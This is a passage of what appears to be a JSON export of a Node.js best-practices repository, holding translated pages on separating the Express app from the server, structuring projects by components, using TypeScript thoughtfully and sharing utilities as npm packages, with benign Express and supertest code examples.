Ingurunearen portua eskuratu eta Expressen gorde.\r\nconst port = normalizePort(process.env.PORT || \"3000\");\r\napp.set(\"port\", port);\r\n\r\n// Sortu HTTP zerbitzaria.\r\nconst server = http.createServer(app);\r\n```\r\n\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nimport app from \"../app\";\r\nimport http from \"http\";\r\n\r\n// Ingurunearen portua eskuratu eta Expressen gorde.\r\nconst port = normalizePort(process.env.PORT || \"3000\");\r\napp.set(\"port\", port);\r\n\r\n// Sortu HTTP zerbitzaria.\r\nconst server = http.createServer(app);\r\n```\r\n\r\n</details>\r\n\r\n### Kode adibidea: zure APIa prozesua martxan den bitartean probatu supertest (probentzako pakete ospetsua) erabiliz\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nconst request = require(\"supertest\");\r\nconst app = express();\r\n\r\napp.get(\"/user\", (req, res) => {\r\n  res.status(200).json({ name: \"tobi\" });\r\n});\r\n\r\nrequest(app)\r\n  .get(\"/user\")\r\n  .expect(\"Content-Type\", /json/)\r\n  .expect(\"Content-Length\", \"15\")\r\n  .expect(200)\r\n  .end((err, res) => {\r\n    if (err) throw err;\r\n  });\r\n```\r\n\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nimport * as request from \"supertest\";\r\nconst app = express();\r\n\r\napp.get(\"/user\", (req: Request, res: Response) => {\r\n  res.status(200).json({ name: \"tobi\" });\r\n});\r\n\r\nrequest(app)\r\n  .get(\"/user\")\r\n  .expect(\"Content-Type\", /json/)\r\n  .expect(\"Content-Length\", \"15\")\r\n  .expect(200)\r\n  .end((err: Error) => {\r\n    if (err) throw err;\r\n  });\r\n```\r\n\r\n</details>\r\n"
  },
  {
    "path": "sections/projectstructre/separateexpress.brazilian-portuguese.md",
    "content": "# Separe 'app' e 'server' no Express\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nO gerador mais recente do Express vem com uma ótima prática que vale a pena manter - a declaração da API é separada da configuração relacionada à rede (porta, protocolo, etc). Isso permite testar a API durante o processo, sem realizar chamadas de rede, com todos os benefícios que ela traz para a mesa: execução rápida de testes e obtenção de métricas de cobertura do código. Ele também permite implantar a mesma API em condições de rede flexíveis e diferentes. Bônus: melhor separação de preocupações e código mais limpo.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: declaração de API, deve residir em app.js\r\n\r\n```javascript\r\nvar app = express();\r\napp.use(bodyParser.json());\r\napp.use(\"/api/events\", events.API);\r\napp.use(\"/api/forms\", forms);\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: declaração de rede do servidor, deve residir em /bin/www\r\n\r\n```javascript\r\nvar app = require('../app');\r\nvar http = require('http');\r\n\r\n/**\r\n * Obtenha porta do ambiente e armazene no Express.\r\n */\r\n\r\nvar port = normalizePort(process.env.PORT || '3000');\r\napp.set('port', port);\r\n\r\n/**\r\n * Crie um servidor HTTP.\r\n */\r\n\r\nvar server = http.createServer(app);\r\n```\r\n\r\n### Exemplo: teste sua API em processo usando o superteste (pacote de teste popular)\r\n\r\n```javascript\r\nconst app = express();\r\n\r\napp.get('/user', function(req, res) {\r\n  res.status(200).json({ name: 'tobi' });\r\n});\r\n\r\nrequest(app)\r\n  .get('/user')\r\n  .expect('Content-Type', /json/)\r\n  .expect('Content-Length', '15')\r\n  .expect(200)\r\n  .end(function(err, res) {\r\n    if (err) throw err;\r\n  });\r\n````\r\n"
  },
  {
    "path": "sections/projectstructre/separateexpress.chinese.md",
    "content": "# Express的 '应用' 和 '服务' 分离\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n最新的Express生成器有一个值得保留的伟大实践--API声明与网络相关配置（端口、协议等）是分开的。这样就可以在不执行网络调用的情况下对API进行在线测试，它所带来的好处是：快速执行测试操作和获取代码覆盖率。它还允许在灵活多样的网络条件下部署相同的API。额外好处：更好的关注点分离和更清晰的代码结构。\r\n\r\n<br/><br/>\r\n\r\n### 代码示例：API声明应该在 app.js 文件里面\r\n\r\n```javascript\r\nvar app = express();\r\napp.use(bodyParser.json());\r\napp.use(\"/api/events\", events.API);\r\napp.use(\"/api/forms\", forms);\r\n\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 代码示例: 服务器网络声明，应该在 /bin/www 文件里面\r\n\r\n```javascript\r\nvar app = require('../app');\r\nvar http = require('http');\r\n\r\n/**\r\n * Get port from environment and store in Express.\r\n */\r\n\r\nvar port = normalizePort(process.env.PORT || '3000');\r\napp.set('port', port);\r\n\r\n/**\r\n * Create HTTP server.\r\n */\r\n\r\nvar server = http.createServer(app);\r\n\r\n```\r\n\r\n\r\n### 示例代码: 使用超快的流行的测试包在线测试你的代码\r\n\r\n```javascript\r\nconst app = express();\r\n\r\napp.get('/user', function(req, res) {\r\n  res.status(200).json({ name: 'tobi' });\r\n});\r\n\r\nrequest(app)\r\n  .get('/user')\r\n  .expect('Content-Type', /json/)\r\n  .expect('Content-Length', '15')\r\n  .expect(200)\r\n  .end(function(err, res) {\r\n    if (err) throw err;\r\n  });\r\n````\r\n"
  },
  {
    "path": "sections/projectstructre/separateexpress.french.md",
    "content": "# Séparez Express 'app' et 'server'\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nLe dernier générateur Express est livré avec une excellente pratique qui vaut la peine d'être conservée - la déclaration de l'API est séparée de la configuration liée au réseau (port, protocole, etc.). Cela permet de tester l'API en cours de traitement, sans effectuer d'appels réseau, avec tous les avantages qu'elle apporte : exécution rapide des tests et obtention des mesures de couverture du code. Il permet également de déployer la même API dans des conditions de réseau flexibles et différentes. Bonus : une meilleure séparation des préoccupations et un code plus propre.\n\n<br/><br/>\n\n### Exemple de code : la déclaration de l'API doit résider dans app.js/app.ts\n\n```javascript\nconst app = express();\napp.use(bodyParser.json());\napp.use('/api/events', events.API);\napp.use('/api/forms', forms);\n```\n\n### Exemple de code : la déclaration du réseau du serveur doit résider dans /bin/www\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nconst app = require('../app');\nconst http = require('http');\n\n// Obtenir le port de l'environnement et le stockez dans Express.\nconst port = normalizePort(process.env.PORT || '3000');\napp.set('port', port);\n\n// Créer un serveur HTTP.\nconst server = http.createServer(app);\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nimport app from '../app';\nimport http from 'http';\n\n// Obtenir le port de l'environnement et le stockez dans Express.\nconst port = normalizePort(process.env.PORT || '3000');\napp.set('port', port);\n\n// Créer un serveur HTTP.\nconst server = http.createServer(app);\n```\n</details>\n\n### Exemple : testez votre API en cours de traitement à l'aide de supertest (package de test populaire)\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nconst request = require('supertest');\nconst app = express();\n\napp.get('/user', (req, res) => {\n  res.status(200).json({ name: 'tobi' });\n});\n\nrequest(app)\n  .get('/user')\n  .expect('Content-Type', /json/)\n  .expect('Content-Length', '15')\n  .expect(200)\n  .end((err, res) => {\n    if (err) throw err;\n  });\n```\n</details>\n\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nimport * as request from \"supertest\";\nconst app = express();\n\napp.get('/user', (req: Request, res: Response) => {\n  res.status(200).json({ name: 'tobi' });\n});\n\nrequest(app)\n  .get('/user')\n  .expect('Content-Type', /json/)\n  .expect('Content-Length', '15')\n  .expect(200)\n  .end((err: Error) => {\n    if (err) throw err;\n  });\n\n```\n</details>"
  },
  {
    "path": "sections/projectstructre/separateexpress.japanese.md",
    "content": "# Express の「アプリ」と「サーバー」を分離する\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n最新の Express ジェネレーターは、維持する価値がある素晴らしいプラクティスが付属しています。- API 宣言はネットワーク関連の設定 (ポート、プロトコルなど) から分離されています。これにより、ネットワークコールを実行せずに API をインプロセスでテストすることができ、高速なテスト実行やコードのカバレッジメトリクスの取得などのメリットが得られます。 また、柔軟で異なるネットワーク条件の下で同じ API をデプロイすることができます。ボーナス：懸念事項のより良い分離とよりクリーンなコード\r\n\r\n<br/><br/>\r\n\r\n### コード例: API 宣言は app.js/app.ts にあるべき\r\n\r\n```javascript\r\nconst app = express();\r\napp.use(bodyParser.json());\r\napp.use('/api/events', events.API);\r\napp.use('/api/forms', forms);\r\n```\r\n\r\n### コード例: サーバーネットワーク定義は /bin/www にあるべき\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nconst app = require('../app');\r\nconst http = require('http');\r\n\r\n// Get port from environment and store in Express.\r\nconst port = normalizePort(process.env.PORT || '3000');\r\napp.set('port', port);\r\n\r\n// Create HTTP server.\r\nconst server = http.createServer(app);\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nimport app from '../app';\r\nimport http from 'http';\r\n\r\n// Get port from environment and store in Express.\r\nconst port = normalizePort(process.env.PORT || '3000');\r\napp.set('port', port);\r\n\r\n// Create HTTP server.\r\nconst server = http.createServer(app);\r\n```\r\n</details>\r\n\r\n### 例: supertest (一般的なテストパッケージ) を使用して API をインプロセスでテストする\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nconst request = require('supertest');\r\nconst app = express();\r\n\r\napp.get('/user', (req, res) => {\r\n  res.status(200).json({ name: 'tobi' });\r\n});\r\n\r\nrequest(app)\r\n  .get('/user')\r\n  .expect('Content-Type', /json/)\r\n  .expect('Content-Length', '15')\r\n  .expect(200)\r\n  .end((err, res) => {\r\n    if (err) throw err;\r\n  });\r\n```\r\n</details>\r\n\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nimport * as request from \"supertest\";\r\nconst app = express();\r\n\r\napp.get('/user', (req: Request, res: Response) => {\r\n  res.status(200).json({ name: 'tobi' });\r\n});\r\n\r\nrequest(app)\r\n  .get('/user')\r\n  .expect('Content-Type', /json/)\r\n  .expect('Content-Length', '15')\r\n  .expect(200)\r\n  .end((err: Error) => {\r\n    if (err) throw err;\r\n  });\r\n\r\n```\r\n</details>\r\n"
  },
  {
    "path": "sections/projectstructre/separateexpress.korean.md",
    "content": "# Separate Express 'app' and 'server'\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nThe latest Express generator comes with a great practice that is worth to keep - the API declaration is separated from the network related configuration (port, protocol, etc). This allows testing the API in-process, without performing network calls, with all the benefits that it brings to the table: fast testing execution and getting coverage metrics of the code. It also allows deploying the same API under flexible and different network conditions. Bonus: better separation of concerns and cleaner code\r\n\r\n<br/><br/>\r\n\r\n### Code example: API declaration, should reside in app.js\r\n\r\n```javascript\r\nvar app = express();\r\napp.use(bodyParser.json());\r\napp.use(\"/api/events\", events.API);\r\napp.use(\"/api/forms\", forms);\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Code example: Server network declaration, should reside in /bin/www\r\n\r\n```javascript\r\nvar app = require('../app');\r\nvar http = require('http');\r\n\r\n/**\r\n * Get port from environment and store in Express.\r\n */\r\n\r\nvar port = normalizePort(process.env.PORT || '3000');\r\napp.set('port', port);\r\n\r\n/**\r\n * Create HTTP server.\r\n */\r\n\r\nvar server = http.createServer(app);\r\n```\r\n\r\n### Example: test your API in-process using supertest (popular testing package)\r\n\r\n```javascript\r\nconst app = express();\r\n\r\napp.get('/user', function(req, res) {\r\n  res.status(200).json({ name: 'tobi' });\r\n});\r\n\r\nrequest(app)\r\n  .get('/user')\r\n  .expect('Content-Type', /json/)\r\n  .expect('Content-Length', '15')\r\n  .expect(200)\r\n  .end(function(err, res) {\r\n    if (err) throw err;\r\n  });\r\n````\r\n"
  },
  {
    "path": "sections/projectstructre/separateexpress.polish.md",
    "content": "# Oddzielna „aplikacja” i „serwer” Express\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nNajnowszy generator Express ma świetną praktykę, którą warto zachować - deklaracja API jest oddzielona od konfiguracji związanej z siecią (port, protokół itp.). Umożliwia to testowanie interfejsu API w trakcie procesu, bez wykonywania połączeń sieciowych, ze wszystkimi korzyściami, które przynosi do tabeli: szybkie wykonywanie testów i uzyskiwanie wskaźników zasięgu kodu. Pozwala także na wdrożenie tego samego interfejsu API w elastycznych i różnych warunkach sieciowych. Bonus: lepsze rozdzielenie problemów i czystszy kod\n\n<br/><br/>\n\n### Przykład kodu: deklaracja API, powinna znajdować się w app.js/app.ts\n\n```javascript\nconst app = express();\napp.use(bodyParser.json());\napp.use('/api/events', events.API);\napp.use('/api/forms', forms);\n```\n\n### Przykład kodu: Deklaracja sieci serwera powinna znajdować się w /bin/www\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nconst app = require('../app');\nconst http = require('http');\n\n// Get port from environment and store in Express.\nconst port = normalizePort(process.env.PORT || '3000');\napp.set('port', port);\n\n// Create HTTP server.\nconst server = http.createServer(app);\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nimport app from '../app';\nimport http from 'http';\n\n// Get port from environment and store in Express.\nconst port = normalizePort(process.env.PORT || '3000');\napp.set('port', port);\n\n// Create HTTP server.\nconst server = http.createServer(app);\n```\n</details>\n\n### Przykład: przetestuj swój interfejs API za pomocą supertestu (popularny pakiet testowy)\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nconst app = express();\n\napp.get('/user', (req, res) => {\n  res.status(200).json({ name: 'tobi' });\n});\n\nrequest(app)\n  .get('/user')\n  .expect('Content-Type', /json/)\n  .expect('Content-Length', '15')\n  .expect(200)\n  .end((err, res) => {\n    if (err) throw err;\n  });\n```\n</details>\n\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nconst app = express();\n\napp.get('/user', (req: Request, res: Response) => {\n  res.status(200).json({ name: 'tobi' });\n});\n\nrequest(app)\n  .get('/user')\n  .expect('Content-Type', /json/)\n  .expect('Content-Length', '15')\n  .expect(200)\n  .end((err: Error) => {\n    if (err) throw err;\n  });\n\n```\n</details>\n"
  },
  {
    "path": "sections/projectstructre/separateexpress.russian.md",
    "content": "# Разделяйте Express \"приложение\" и \"сервер\"\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nПоследний генератор Express поставляется с отличной практикой, которую стоит придерживаться - объявление API отделено от конфигурации, связанной с сетью (порт, протокол и т.д.). Это позволяет тестировать API в процессе, не выполняя сетевых вызовов, со всеми преимуществами, которые он приносит в таблицу: быстрое выполнение тестирования и получение метрик покрытия кода. Это также позволяет развертывать один и тот же API в гибких и различных сетевых условиях. Бонус: лучшее разделение проблем и более чистый код\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: объявление API, должно находиться в app.js/app.ts\r\n\r\n```javascript\r\nconst app = express();\r\napp.use(bodyParser.json());\r\napp.use('/api/events', events.API);\r\napp.use('/api/forms', forms)\r\n```\r\n\r\n### Пример кода: сетевое объявление сервера должно находиться в /bin/www\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nconst app = require('../app');\r\nconst http = require('http');\r\n\r\n// Get port from environment and store in Express.\r\nconst port = normalizePort(process.env.PORT || '3000');\r\napp.set('port', port);\r\n\r\n// Create HTTP server.\r\nconst server = http.createServer(app);\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nimport app from '../app';\r\nimport http from 'http';\r\n\r\n// Get port from environment and store in Express.\r\nconst port = normalizePort(process.env.PORT || '3000');\r\napp.set('port', port);\r\n\r\n// Create HTTP server.\r\nconst server = http.createServer(app);\r\n```\r\n</details>\r\n\r\n### Пример: протестируйте свой API в процессе, используя supertest (популярный пакет тестирования)\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nconst app = express();\r\n\r\napp.get('/user', (req, res) => {\r\n  res.status(200).json({ name: 'tobi' });\r\n});\r\n\r\nrequest(app)\r\n  .get('/user')\r\n  .expect('Content-Type', /json/)\r\n  .expect('Content-Length', '15')\r\n  .expect(200)\r\n  .end((err, res) => {\r\n    if (err) throw err;\r\n  });\r\n```\r\n</details>\r\n\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nconst app = express();\r\n\r\napp.get('/user', (req: Request, res: Response) => {\r\n  res.status(200).json({ name: 'tobi' });\r\n});\r\n\r\nrequest(app)\r\n  .get('/user')\r\n  .expect('Content-Type', /json/)\r\n  .expect('Content-Length', '15')\r\n  .expect(200)\r\n  .end((err: Error) => {\r\n    if (err) throw err;\r\n  });\r\n\r\n```\r\n</details>"
  },
  {
    "path": "sections/projectstructre/thincomponents.chinese.md",
    "content": "# 用组件来构造你的解决方案\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n对于中型应用以上来说，按部就班的写在一起真是太糟糕了-当一个有很多依赖的大型的软件会导致我们理解起来非常困难并且导致我们的代码杂乱不堪。甚至像那些能够熟练地驯服野兽的聪明的设计师一样，他们在设计上花费大量的精力用来\"模块化\"代码，每一次改动都需要仔细的评估对于其他依赖对象的影响。构建小型项目的最终方法是：将整体的项目分享一个个不与其他组件共享文件的独立组件，每个组件由很少的文件组成（例如API、服务、数据访问、测试等），所以这是比较容易理解的。一些被称为\"microservices\"的架构，去理解\"microservices\"不是你必须遵守的规范而是一套原则是非常重要的。你可以将许多原则应用到一个成熟的微服务体系结构中，或者只采用少数几个原则。只要你把软件的复杂性保持在低水平，两者都是好的。您至少应该做的是在组件之间创建一个基本的边界，在项目根中为每个业务组件分配一个文件夹，并让它自己做到其他组件只允许通过它的公共接口或API来实现它的功能。这是让你的组件保持简单的基础，避免依赖关系，在你的应用程序成长后，为将来成熟的微服务铺平道路。\r\n\r\n<br/><br/>\r\n\r\n\r\n### 引用博客: \"扩展需要整个应用的扩展\"\r\n 摘自博客 MartinFowler.com\r\n\r\n > 单片应用程序可以成功，但是越来越多的人对它们感到失望——特别是当越来越多的应用程序被部署到云上时。变更周期是绑定在一起的——对应用程序的一小部分进行了更改，需要重新构建和部署整个庞然大物。随着时间的推移，保持良好的模块结构通常很难，这使得更改只会影响自己内部的模块变得更加困难。扩展需要扩展整个应用程序，而不是需要更大的资源的部分。\r\n\r\n <br/><br/>\r\n \r\n ### 推荐: 通过自包含的组件来构造解决方案\r\n![alt text](../../assets/images/structurebycomponents.PNG \"Structuring solution by components\")\r\n\r\n <br/><br/> \r\n\r\n### 避免: 通过技术角色对文件进行分组\r\n![alt text](../../assets/images/structurebyroles.PNG \"Structuring solution by technical roles\")\r\n"
  },
  {
    "path": "sections/projectstructre/thincomponents.french.md",
    "content": "# Organisez votre projet en composants\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nPour les applications de taille moyenne et supérieure, les monolithes sont vraiment mauvais - avoir un gros logiciel avec de nombreuses dépendances est difficile à appréhender et mène souvent à du code spaghetti. Même les architectes intelligents - ceux qui sont suffisamment qualifiés pour apprivoiser la bête et la « modulariser » - consacrent un temps considérable à sa conception, et chaque changement nécessite d'évaluer soigneusement l'impact sur d'autres objets dépendants. La solution ultime est de développer de petits logiciels : divisez la pile entière en composants autonomes qui ne partagent pas de fichiers avec d'autres, chacun constituant très peu de fichiers (par exemple API, service, accès aux données, test, etc.) de sorte qu'il soit très facile à raisonner à ce sujet. Certains peuvent appeler cette architecture de « microservices » - il est important de comprendre que les microservices ne sont pas une spécification que vous devez suivre, mais plutôt un ensemble de principes. Vous pouvez adopter tous les principes dans une architecture de microservices ou en adopter seulement quelques-uns. Les deux sont bons tant que la complexité du logiciel est faible. Le moins que vous puissiez faire est de créer des frontières de base entre les composants, d'assigner un dossier à la racine de votre projet pour chaque composant métier et de le rendre autonome - les autres composants ne sont autorisés à utiliser ses fonctionnalités que via son interface publique ou son API. C'est la base pour garder vos composants simples, éviter l'enfer des dépendances et ouvrir à l'avenir la voie à des véritables microservices une fois que votre application se développera.\n\n<br/><br/>\n\n### Citation de blog : « La mise à l'échelle nécessite la mise à l'échelle de l'application entière »\n\n Extrait du blog de MartinFowler.com\n\n > Les applications monolithiques peuvent réussir, mais de plus en plus de personnes ressentent des frustrations à leur égard, d'autant plus que davantage d'applications sont déployées dans le cloud. Les cycles de changement sont liés les uns aux autres - une modification apportée à une petite partie de l'application nécessite la reconstruction et le déploiement du monolithe entier. Au fil du temps, il est souvent difficile de conserver une bonne structure modulaire, ce qui rend plus difficile la conservation des modifications qui ne devraient affecter qu'un module au sein de ce module. La mise à l'échelle nécessite la mise à l'échelle de l'application entière plutôt que les parties concernées, cela nécessitent donc plus de ressources.\n\n <br/><br/>\n\n### Bon : Organisez votre solution avec des composants autonomes\n\n![alt text](../../assets/images/structurebycomponents.PNG \"Solution d'organisation par composants\")\n\n<br/><br/>\n\n### Mauvais : Regroupez vos fichiers selon leur rôle technique\n\n![alt text](../../assets/images/structurebyroles.PNG \"Solution d'organisation par rôles techniques\")\n"
  },
  {
    "path": "sections/projectstructre/thincomponents.japanese.md",
    "content": "# Structure your solution by components\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nFor medium sized apps and above, monoliths are really bad - one big software with many dependencies is just hard to reason about and often leads to code spaghetti. Even those smart architects who are skilled to tame the beast and 'modularize' it - spend great mental effort on design and each change requires to carefully evaluate the impact on other dependent objects. The ultimate solution is to develop small software: divide the whole stack into self-contained components that don't share files with others, each constitutes very few files (e.g. API, service, data access, test, etc) so that it's very easy to reason about it. Some may call this 'microservices' architecture - it's important to understand that microservices are not a spec which you must follow rather a set of principles. You may adopt many principles into a full-blown microservices architecture or adopt only a few. Both are good as long as you keep the software complexity low. The very least you should do is create basic borders between components, assign a folder in your project root for each business component and make it self-contained - other components are allowed to consume its functionality only through its public interface or API. This is the foundation for keeping your components simple, avoid dependencies hell and pave the way to full-blown microservices in the future once your app grows\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"Scaling requires scaling of the entire application\"\r\n\r\n From the blog MartinFowler.com\r\n\r\n > Monolithic applications can be successful, but increasingly people are feeling frustrations with them - especially as more applications are being deployed to the cloud. Change cycles are tied together - a change made to a small part of the application requires the entire monolith to be rebuilt and deployed. Over time it's often hard to keep a good modular structure, making it harder to keep changes that ought to only affect one module within that module. Scaling requires scaling of the entire application rather than parts of it that require greater resource.\r\n\r\n <br/><br/>\r\n\r\n### Good: Structure your solution by self-contained components\r\n\r\n![alt text](../../assets/images/structurebycomponents.PNG \"Structuring solution by components\")\r\n\r\n <br/><br/>\r\n\r\n### Bad: Group your files by technical role\r\n\r\n![alt text](../../assets/images/structurebyroles.PNG \"Structuring solution by technical roles\")\r\n"
  },
  {
    "path": "sections/projectstructre/thincomponents.md",
    "content": "# Structure your solution by components\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nFor medium sized apps and above, monoliths are really bad - one big software with many dependencies is just hard to reason about and often leads to code spaghetti. Even those smart architects who are skilled to tame the beast and 'modularize' it - spend great mental effort on design and each change requires to carefully evaluate the impact on other dependent objects. The ultimate solution is to develop small software: divide the whole stack into self-contained components that don't share files with others, each constitutes very few files (e.g. API, service, data access, test, etc) so that it's very easy to reason about it. Some may call this 'microservices' architecture - it's important to understand that microservices are not a spec which you must follow rather a set of principles. You may adopt many principles into a full-blown microservices architecture or adopt only a few. Both are good as long as you keep the software complexity low. The very least you should do is create basic borders between components, assign a folder in your project root for each business component and make it self-contained - other components are allowed to consume its functionality only through its public interface or API. This is the foundation for keeping your components simple, avoid dependencies hell and pave the way to full-blown microservices in the future once your app grows\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: \"Scaling requires scaling of the entire application\"\r\n\r\n From the blog MartinFowler.com\r\n\r\n > Monolithic applications can be successful, but increasingly people are feeling frustrations with them - especially as more applications are being deployed to the cloud. Change cycles are tied together - a change made to a small part of the application requires the entire monolith to be rebuilt and deployed. Over time it's often hard to keep a good modular structure, making it harder to keep changes that ought to only affect one module within that module. Scaling requires scaling of the entire application rather than parts of it that require greater resource.\r\n\r\n <br/><br/>\r\n\r\n### Good: Structure your solution by self-contained components\r\n\r\n![alt text](../../assets/images/structurebycomponents.PNG \"Structuring solution by components\")\r\n\r\n <br/><br/>\r\n\r\n### Bad: Group your files by technical role\r\n\r\n![alt text](../../assets/images/structurebyroles.PNG \"Structuring solution by technical roles\")\r\n"
  },
  {
    "path": "sections/projectstructre/thincomponents.russian.md",
    "content": "# Структурируйте свое решение по компонентам\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nДля приложений среднего размера и выше монолиты действительно плохи - об одном большом программном обеспечении с множеством зависимостей просто сложно рассуждать, и оно часто приводит к спагетти кода. Даже те умные архитекторы, которые умеют укротить зверя и «его модульно» - тратят огромные умственные усилия на дизайн, и каждое изменение требует тщательной оценки воздействия на другие зависимые объекты. Конечным решением является разработка небольшого программного обеспечения: разделите весь стек на автономные компоненты, которые не обмениваются файлами с другими, каждый из которых содержит очень мало файлов (например, API, сервис, доступ к данным, тестирование и т.д.), Так что это очень легко рассуждать об этом. Некоторые могут назвать эту архитектуру «микросервисов» - важно понимать, что микросервисы - это не спецификация, которой вы должны следовать, а скорее набор принципов. Вы можете принять многие принципы в полноценную архитектуру микросервисов или принять только несколько. Оба хороши, если вы сохраняете сложность программного обеспечения на низком уровне. Самое меньшее, что вы должны сделать, это создать базовые границы между компонентами, назначить папку в корне вашего проекта для каждого бизнес-компонента и сделать его автономным - другим компонентам разрешено использовать его функциональные возможности только через открытый интерфейс или API. Это основа для того, чтобы ваши компоненты были простыми, избежать адских зависимостей и проложить путь к полноценным микросервисам в будущем, когда ваше приложение будет расти\r\n\r\n<br/><br/>\r\n\r\n### Цитата из блога: \"Масштабирование требует масштабирования всего приложения\"\r\n\r\nИз блога MartinFowler.com\r\n\r\n> Монолитные приложения могут быть успешными, но люди все чаще испытывают разочарование в связи с ними, особенно когда в облаке развертывается все больше приложений. Циклы изменений связаны друг с другом - изменение, внесенное в небольшую часть приложения, требует перестройки и развертывания всего монолита. Со временем зачастую трудно сохранить хорошую модульную структуру, что усложняет сохранение изменений, которые должны затрагивать только один модуль в этом модуле. Масштабирование требует масштабирования всего приложения, а не его частей, которые требуют больших ресурсов.\r\n\r\n <br/><br/>\r\n\r\n### Хорошо: структурируйте свое решение по отдельным компонентам\r\n\r\n![alt text](../../assets/images/structurebycomponents.PNG \"Structuring solution by components\")\r\n\r\n <br/><br/>\r\n\r\n### Плохо: сгруппируйте файлы по техническим ролям\r\n\r\n![alt text](../../assets/images/structurebyroles.PNG \"Structuring solution by technical roles\")\r\n"
  },
  {
    "path": "sections/projectstructre/typescript-considerations.md",
    "content": "# Use TypeScript sparingly and thoughtfully\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nTypeScript has won the community's hearts and is almost a standard for modern JavaScript apps. Compared to plain JS, it brings much better coding ergonomics, facilitates editor code completions, even for historical libraries that were written with JavaScript and was proven to [prevent specific type of bugs](https://earlbarr.com/publications/typestudy.pdf). With that, if you look carefully under the hype, TypeScript actually brings two **mutually-exclusive** offerings to the table: type-safety and advanced design constructs like abstract classes, interfaces, namespaces and more. Many teams chose TypeScript for better type safety yet _unintentionally_, without any proper planning, use it for other purposes, such as OOP. These teams change their design style unintentionally due to the ['law of the instruments'](https://en.wikipedia.org/wiki/Law_of_the_instrument) — a cognitive bias that involves using the tooling in hand whether they are the right choice for the mission or not. In other words, if an 'abstract class' exists in the toolbox — developers will use it. If teams consciously opted for the coding techniques mentioned above — that's fair and legit. For others, positively consider coding with classic JavaScript, plain functions and objects, which are simply decorated with primitive types. The latter option is likely to result in lower complexity\n\n<br/><br/>\n\n### Research Quote: \"15% less bugs\"\n\nFrom the research [To Type or Not to Type](https://earlbarr.com/publications/typestudy.pdf)\n\n> \"our central finding is that both static type systems find an important percentage of public bugs: both Flow 0.30 and TypeScript 2.0 successfully detect 15%!\"\n\n<br/><br/>\n\n### Blog Quote: \"TypeScript will always miss 80% of bugs\"\n\nFrom the post [The TypeScript tax](https://medium.com/javascript-scene/the-typescript-tax-132ff4cb175b)\n\n> \"Some will argue that TypeScript provides realtime bug feedback, so you can catch the bugs earlier, but so do type inference, lint, and testing... You may argue that these other measures have a cost, but because TypeScript will always miss 80% of bugs, you can’t safely skip them either way, so their cost applies to both sides of the ROI math, and is already factored in\"\n"
  },
  {
    "path": "sections/projectstructre/wraputilities.basque.md",
    "content": "# Kokatu baliabide komunak npm paketetan\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nHazten hasi eta zerbitzari ezberdinetan antzeko baliabideak erabiltzen dituzten gero eta osagai ezberdin gehiago dituzun heinean, menpekotasunak kudeatzen hasi beharko zenuke. Nola gorde zenezakeen zure baliabidearen iturburu kodearen kopia bat eta beste osagaiei hura erabiltzen eta inplementatzen utzi? Bada, npm izeneko tresna bat badago horretarako... Hasi baliabide paketeetan zure kodea jartzen, etorkizunean kodearen ordezkapena errazteko, eta argitaratu zure kode propioa npm pakete pribatu gisa. Horrela, zure kodeak beste kode hori inportatu ahal izango du, debaldeko menpekotasun kudeaketa tresnari esker. Posible da zure erabilera pribaturako npm paketeak argitaratzea, haiek publikoki partekatu gabe, [modulu pribatuak](https://docs.npmjs.com/private-modules/intro), [erregistro pribatua](https://npme.npmjs.com/docs/tutorials/npm-enterprise-with-nexus.html) edo [npm pakete lokalak](https://medium.com/@arnaudrinquin/build-modular-application-with-npm-local-modules-dfc5ff047bcc) erabiliz\r\n\r\n<br/><br/>\r\n\r\n\r\n\r\n### Partekatu zure baliabide propioak ingurune eta osagaietan\r\n\r\n![alt 